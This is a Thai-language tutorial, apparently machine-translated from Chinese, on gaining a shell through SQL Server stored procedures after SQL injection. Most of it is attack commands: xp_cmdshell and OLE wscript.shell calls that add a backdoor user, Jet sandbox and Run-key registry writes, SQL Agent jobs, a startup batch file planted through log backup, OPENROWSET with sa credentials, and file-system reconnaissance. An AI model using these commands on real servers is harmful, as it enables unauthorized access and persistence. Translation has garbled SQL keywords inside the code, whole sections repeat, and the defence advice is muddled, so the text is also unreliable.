SQL Server เป็นฐานข้อมูลที่ใช้กันอย่างแพร่หลายโดยเว็บไซต์ขนาดเล็กและขนาดกลาง เนื่องจากฟังก์ชันอันทรงพลังของมัน จึงทำให้เกิดปัญหาด้านความปลอดภัยมากมายในจีนมาเป็นเวลานาน ส่งผลให้มีเทคนิคการบุกรุกมากมายไม่สิ้นสุด สำหรับ SQL Server เนื่องจาก SQL Server รองรับหลายคำสั่ง ฉันเชื่อว่าแฮกเกอร์จำนวนมากไม่ค่อยใช้วิธีการเช่นการเดาชื่อตารางเมื่อฉีด SQL ลงใน SQL Server แต่หันไปใช้ขั้นตอนและฟังก์ชันที่เก็บไว้ของ SQL Server โดยตรงเพื่อรับสิทธิ์อย่างรวดเร็ว มุ่งเน้นไปที่ระบบ SQL Server ขั้นตอนและฟังก์ชั่นที่เก็บไว้เพื่อแนะนำแฮ็กเหล่านี้
1. ดำเนินการคำสั่งของระบบ
การใช้ขั้นตอนการจัดเก็บทำให้เราสามารถรับเชลล์ได้อย่างรวดเร็วและง่ายดาย เช่น การดำเนินการคำสั่งของระบบ การเรียกส่วนขยายการจัดเก็บข้อมูลมีดังนี้:
exec master..xp_cmdshell 'ผู้ใช้สุทธิ ray ray / เพิ่ม'
xp_cmdshell เป็นขั้นตอนการจัดเก็บคำสั่งระบบที่มาพร้อมกับ SQL Server โดยค่าเริ่มต้น เฉพาะบทบาทเซิร์ฟเวอร์ SYSADMIN เท่านั้นที่สามารถดำเนินการได้
การใช้อินเทอร์เฟซวัตถุ OLE นั้น SQL SERVER มีฟังก์ชันบางอย่างในการเข้าถึงวัตถุ OLE ได้แก่ sp_OACREATE และ sp_OAMethod คุณสามารถใช้ฟังก์ชันเหล่านี้เพื่อเรียกตัวควบคุม OLE และรับเชลล์ทางอ้อมได้ ใช้ SP_OAcreate เพื่อเรียกวัตถุ wscript เชลล์ถูกกำหนดให้กับตัวแปร @shell จากนั้นใช้ SP_OAMETHOD เพื่อเรียกแอ็ตทริบิวต์ run ของ @shell เพื่อรันคำสั่ง
ประกาศ @shell INT
EXEC SP_OA สร้าง 'wscript.shell',@shell out
EXEC SP_OAMETHOD @shell, 'run', null, 'net user ray ray /add'
เปิดโหมดแซนด์บ็อกซ์ของการเข้าถึง ตามค่าเริ่มต้น เอ็นจิ้นข้อมูล Jet ไม่รองรับคำสั่ง SQL เช่น select shell ("net user ray ray /add") อย่างไรก็ตาม หลังจากเปิดโหมดแซนด์บ็อกซ์ของ JET engine แล้ว คุณก็สามารถทำได้ ดำเนินการคำสั่ง ขั้นแรกให้ใช้ขั้นตอนที่เก็บไว้ xp_regwrite เขียนรีจิสทรีใหม่ จากนั้นใช้ OpenRowSet เพื่อเข้าถึงไฟล์ฐานข้อมูล ACCESS ที่มาพร้อมกับระบบ จากนั้นจึงดำเนินการคำสั่ง SQL เพื่อรันคำสั่ง
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE', 'SoftWareMicrosoftJet4.0 Engines', 'SandBoxMode', 'REG_DWORD',0
เลือก * จาก OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:windowssystem32iasias.mdb','select shell("net user ray ray /add")');
นอกจากนี้ คุณยังสามารถใช้ SQL Agent เพื่อดำเนินการคำสั่งได้ แน่นอนว่าคุณต้องเปิดบริการ SQL Agent ก่อน โดยค่าเริ่มต้นเราจะใช้ xp_servicecontrol เพื่อเปิดงาน SQLSERVERAGENT แล้วรันงานทันที
exec master.dbo.xp_servicecontrol 'เริ่มต้น', 'SQLSERVERAGENT'
ใช้ msdb exec sp_delete_job เป็นโมฆะ, 'x'
ผู้บริหาร sp_add_job 'x'
exec sp_add_jobstep Null, 'x', Null, '1', 'CMDEXEC', 'cmd /c Dir C:'
exec sp_add_jobserver Null, 'x',@@ ชื่อเซิร์ฟเวอร์ exec sp_start_job 'x'
[ตัดหน้า]
2. เขียนไฟล์ที่กำหนดเองเพื่อรันคำสั่ง
ใช้ xp_regwrite เพื่อเขียนรายการรีจิสทรีและเขียนคำสั่งที่จะดำเนินการโดยตรงลงในรายการเริ่มต้น RUN
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWAREMicrosoftWindowscurrentversionrun', 'shell', 'REG_SZ', 'C:windowssystem32cmd.exe /c เรย์ผู้ใช้สุทธิ ray /เพิ่ม'
บันทึกการสำรองข้อมูลไปยังรายการเริ่มต้น
เราสามารถเปิดใช้งานโหมดการกู้คืนแบบเต็มของฐานข้อมูล จากนั้นสร้างตารางใหม่ แทรกคำสั่งที่จะสำรองข้อมูลลงในบันทึก และสุดท้ายสำรองข้อมูลบันทึกลงในไฟล์แบตช์ไปยังโฟลเดอร์เริ่มต้นระบบของผู้ใช้ ไฟล์นี้จะถูกเรียกใช้หลังจากนั้น เครื่องรีสตาร์ท
แก้ไขฐานข้อมูล msdb ตั้งค่า RECOVERY FULL--
สร้างตาราง cmd (รูปภาพ)--
บันทึกการสำรองข้อมูล msdb ไปยังดิสก์ = 'c:cmd1' ด้วย init--
แทรกลงในค่า cmd (a) ()--
บันทึกการสำรองข้อมูล ISTO ไปยังดิสก์ = 'C:Documents and SettingsAll Users"Start" MenuProgramsStartup1.bat'--
วางตาราง cmd--
3. ผู้ใช้ที่มีสิทธิ์ตามอำเภอใจสามารถรันคำสั่งได้
ในบทบาทของเซิร์ฟเวอร์ที่มีสิทธิ์ใด ๆ เราสามารถใช้มาโคร OPENROWSET เพื่อดำเนินการคำสั่งได้ตราบใดที่เราทราบบัญชีและรหัสผ่านของบทบาท SYSADMIN ของเซิร์ฟเวอร์
เลือก * จาก OPENROWSET('SQLoledb','uid=sa;pwd=admin;Address=127.0.0.1,7788;','set fmtonly off exec master..xp_cmdshell ''dir c:''')
[ตัดหน้า]
4. การได้มาซึ่งข้อมูลระบบอื่น ๆ
ไดเร็กทอรีสำรวจ
ผู้บริหาร master.dbo.xp_dirtree 'c:'
รับไดเรกทอรีย่อย
ดำเนินการ master.dbo.xp_subdirs 'c:'
แสดงรายการพาร์ติชันระบบที่มีอยู่
ผู้บริหาร master.dbo.xp_availablemedia
ตรวจสอบว่ามีไดเร็กทอรีหรือไฟล์อยู่หรือไม่
exec master..xp_fileexist 'c:boot.ini'
5. มีวิธีป้องกันการแทรก SQL
1. ปรับเปลี่ยนโครงสร้างตาราง แก้ไขประเภทข้อมูลของฟิลด์บัญชีผู้ดูแลระบบ เปลี่ยนประเภทข้อความเป็นฟิลด์สูงสุด 255 (จริงๆ แล้วเพียงพอแล้ว หากคุณต้องการให้ใหญ่ขึ้น คุณสามารถเลือกประเภทบันทึกย่อได้) และตั้งค่าฟิลด์รหัสผ่านในลักษณะเดียวกัน
2. ปรับเปลี่ยนตาราง ตั้งค่าบัญชีด้วยสิทธิ์ของผู้ดูแลระบบใน ID1 และป้อนอักขระจีนจำนวนมาก โดยควรมากกว่า 100 อักขระ
3. ใส่รหัสผ่านผู้ดูแลระบบจริงในตำแหน่งใดก็ได้หลังจาก ID2
เราแก้ไขฐานข้อมูลเสร็จสิ้นด้วยสามขั้นตอนข้างต้น
การแก้ไขเสร็จสมบูรณ์แล้วในขณะนี้หรือไม่ จริงๆ แล้วไม่ใช่กรณีนี้ คุณต้องเข้าใจว่าบัญชี ID1 ที่คุณสร้างนั้นเป็นบัญชีที่ได้รับอนุญาตจริง ๆ ในตอนนี้ ความเร็วในการประมวลผลของคอมพิวเตอร์นั้นเร็วมาก คำนวณแล้วนี่ไม่ถูกต้อง ฉันคิดว่าคนส่วนใหญ่คงคิดหาวิธีอยู่แล้ว ใช่ แค่เขียนจำนวนอักขระสูงสุดในไฟล์หน้าเข้าสู่ระบบของผู้ดูแลระบบ! ไม่ จำกัด
[ตัดหน้า]2. เขียนไฟล์ที่กำหนดเองเพื่อรันคำสั่ง
ใช้ xp_regwrite เพื่อเขียนรายการรีจิสทรีและเขียนคำสั่งที่จะดำเนินการโดยตรงลงในรายการเริ่มต้น RUN
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWAREMicrosoftWindowscurrentversionrun', 'shell', 'REG_SZ', 'C:windowssystem32cmd.exe /c เรย์ผู้ใช้สุทธิ ray /เพิ่ม'
บันทึกการสำรองข้อมูลไปยังรายการเริ่มต้น
เราสามารถเปิดใช้งานโหมดการกู้คืนแบบเต็มของฐานข้อมูล จากนั้นสร้างตารางใหม่ แทรกคำสั่งที่จะสำรองข้อมูลลงในบันทึก และสุดท้ายสำรองข้อมูลบันทึกลงในไฟล์แบตช์ไปยังโฟลเดอร์เริ่มต้นระบบของผู้ใช้ ไฟล์นี้จะถูกเรียกใช้หลังจากนั้น เครื่องรีสตาร์ท
แก้ไขฐานข้อมูล msdb ตั้งค่า RECOVERY FULL--
สร้างตาราง cmd (รูปภาพ)--
บันทึกการสำรองข้อมูล msdb ไปยังดิสก์ = 'c:cmd1' ด้วย init--
แทรกลงในค่า cmd (a) ()--
บันทึกการสำรองข้อมูล ISTO ไปยังดิสก์ = 'C:Documents and SettingsAll Users"Start" MenuProgramsStartup1.bat'--
วางตาราง cmd--
3. ผู้ใช้ที่มีสิทธิ์ตามอำเภอใจสามารถรันคำสั่งได้
ในบทบาทของเซิร์ฟเวอร์ที่มีสิทธิ์ใด ๆ เราสามารถใช้มาโคร OPENROWSET เพื่อดำเนินการคำสั่งได้ตราบใดที่เราทราบบัญชีและรหัสผ่านของบทบาท SYSADMIN ของเซิร์ฟเวอร์
เลือก * จาก OPENROWSET('SQLoledb','uid=sa;pwd=admin;Address=127.0.0.1,7788;','set fmtonly off exec master..xp_cmdshell ''dir c:''')